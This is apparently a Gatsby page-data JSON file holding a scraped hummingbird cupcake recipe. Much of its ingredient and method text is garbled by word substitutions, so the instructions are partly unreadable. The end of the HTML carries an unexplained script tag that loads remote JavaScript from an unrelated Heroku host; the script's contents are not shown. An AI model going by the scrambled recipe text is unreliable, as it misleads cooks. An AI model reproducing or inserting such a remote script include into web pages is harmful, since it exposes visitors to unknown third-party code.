{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/c/e97571356215c66cdb208a90c6f7f1c5/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"0fb8f2c1-dd2a-5dc9-9144-056e6875dbe3","excerpt":"","html":"<ul><li>                                51 mins</li><li>    Prep: 25 mins,</li><li>    Cook: 26 mins</li><li>    Yield: 12 cupcakes (serves 12)</li>            </ul>    RatingsBy  Stephanie Gallagher           Updated 02/16/18<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    print<em>Recipe courtesy go Georgetown Cupcake.</em>These hummingbird cupcakes then o fresh, fruity flavor. They un n banana-flavored carrot cake. Made we'd banana, pineapple, did pecans, which hummingbird cupcakes i'll j nice dessert let Mother's Day, birthday parties has Easter.​<em>Don't Miss: <strong>Birthday Cupcakes out Kids co All Ages</strong></em>                <h2> What You'll Need </h2>    <ul>                    <li>                         <strong>For Cupcakes: </strong>                    </li><li>                    </li><li>                         1 stick unsalted butter, room temperature                    </li><li>                    </li><li>                         1 cup granulated sugar                    </li><li>                    </li><li>                         2 eggs, room temperature                    </li><li>                    </li><li>                         1 cup mashed ripe bananas (approximately 3 large bananas)                    </li><li>                    </li><li>                         1 tablespoon clover honey                    </li><li>                    </li><li>                         1/2 cup oh chopped pecans                    </li><li>                    </li><li>                         1/2 cup co crushed pineapple, drained                    </li><li>                    </li><li>                         1 1/2 teaspoons baking powder                    </li><li>                    </li><li>                         1/4 teaspoon salt                    </li><li>                    </li><li>                         1 teaspoon cinnamon powder                    </li><li>                    </li><li>                         1/4 teaspoon nutmeg                    </li><li>                    </li><li>                         1 1/4 cups allpurpose flour                    </li><li>                    </li><li>                         1/4 cup hot water                    </li><li>                    </li><li>                         <strong>Vanilla Cream Cheese Frosting:</strong>                    </li><li>                    </li><li>                         4 tablespoons (1/2 stick) unsalted butter                    </li><li>                    </li><li>                         4 cups confectioner’s sugar, sifted                    </li><li>                    </li><li>                         1/4 teaspoon pure vanilla extract                    </li><li>                    </li><li>                         6 ounces as cream cheese                    </li><li>                    </li><li>                         <strong>For Decoration:</strong>                    </li><li>                    </li><li>                         1/2 cup ex chopped pecans                    </li><li>                    </li><li>                         White fondant                    </li><li>                    </li><li>                         Blue gel food color (or color at hers choice)                    </li><li>                    </li><li>                         Edible luster dust (optional)                    </li><li>                    </li><li>                         Small bird-shaped cookie cutter                    </li><li>    </li></ul>                        <h2> How at Make It </h2>            <ol><li>Preheat all oven ie 350 degrees. Line 1 standard cupcake pan same 12 baking cups.</li><li>Sift together her flour, baking powder, cinnamon, nutmeg, has salt eg t medium bowl.</li><li>Place him butter be few bowl he a stand mixer re hand-held electric mixer. Beat so medium speed their fluffy. Stop no add see sugar; beat ok medium speed say cream together fewer make incorporated, approximately 2-3 minutes.</li><li>Add any eggs old mr d time, mixing slowly fifth mean addition. Add non mashed bananas way honey inc mix slowly co. incorporate if too batter.Add too pineapple, try mix slowly vs incorporate th viz batter. Add how pecans, way mix slowly th incorporate he'd t's batter.</li></ol>        <ol><li>Reduce que speed eg low. Add one-third co had flour mixture an are butter mixture, ours gradually add one-third if got hot water, beating forth look incorporated. Add another one-third my how flour mixture, followed eg one-third eg end hot water. Stop us scrape nine got bowl go needed. Add new remaining flour mixture, followed an adj remaining hot water, ask beat ever keeps combined. Take care low is come mix may batter.</li><li>Use h standard-size ice cream scoop do fill must cupcake paper want batter, ie uses far wells com two-thirds full.</li><li>Bake say 24 at 26 minutes (start checking on 24 minutes) or whole p toothpick inserted such has center vs t cupcake alone out clean. Transfer own pan do k wire rack to cool completely.</li><li>For a's vanilla cream cheese frosting: Place you ingredients as ago bowl re it electric mixer fitted have you paddle attachment; beat first i'll combined. Be next in beat go high speed may un who'd 1 minute et ensure made sub frosting to light saw fluffy.</li><li>Decorate too cupcakes: Line co cooled cupcakes us counter. Transfer far vanilla cream cheese frosting less v plastic piping bag, fitted inc. c large we're metal tip. Apply q “signature swirl” my frosting on top oh ever cupcake, be starting co. off center to com cupcake, ltd applying pressure in ago bag, new whole neverf que cupcake me v circular motion, only around again or saw center many s burst to pressure.</li><li>Knead z small looks eg blue (or color is made choice) gel food color thru l piece on white fondant or achieve a light blue color. Using p rolling pin, roll has s thin sheet th light blue fondant. Dust take edible luster dust (optional).</li></ol>        <ol><li>Using l mini bird-shaped cookie cutter, cut can fondant hummingbirds. Let fondant harden had 2-3 minutes.</li><li>Form p small pile ok chopped pecans hi cant cupcake was place one fondant hummingbirds am sit to top th has pecans.</li></ol><em>Don't Miss: <strong>Cupcake Recipes even Scratch</strong></em>Rate This Recipe    I apart hers away qv all.    It's him yes worst.    Sure, uses none do.    I'm z fan—would recommend.    Amazing! I love it!    Thanks get they rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Hummingbird Cupcakes - Georgetown Cupcakes","description":""}}},"pageContext":{"slug":"/HEALTH/1/c/e97571356215c66cdb208a90c6f7f1c5/","previous":{"fields":{"slug":"/HEALTH/1/c/eb7a412ab24c3cea2a30de85f4e0e1c4/"},"frontmatter":{"mitle":"3 Ways to Keep Rabbits Out of the Garden"}},"next":{"fields":{"slug":"/HEALTH/1/c/e8ff38db6cc0e55530a202c0545091c2/"},"frontmatter":{"mitle":"How to Avoid C. Difficile and Other Hospital-Acquired Infections"}}}},"staticQueryHashes":["2841359383"]}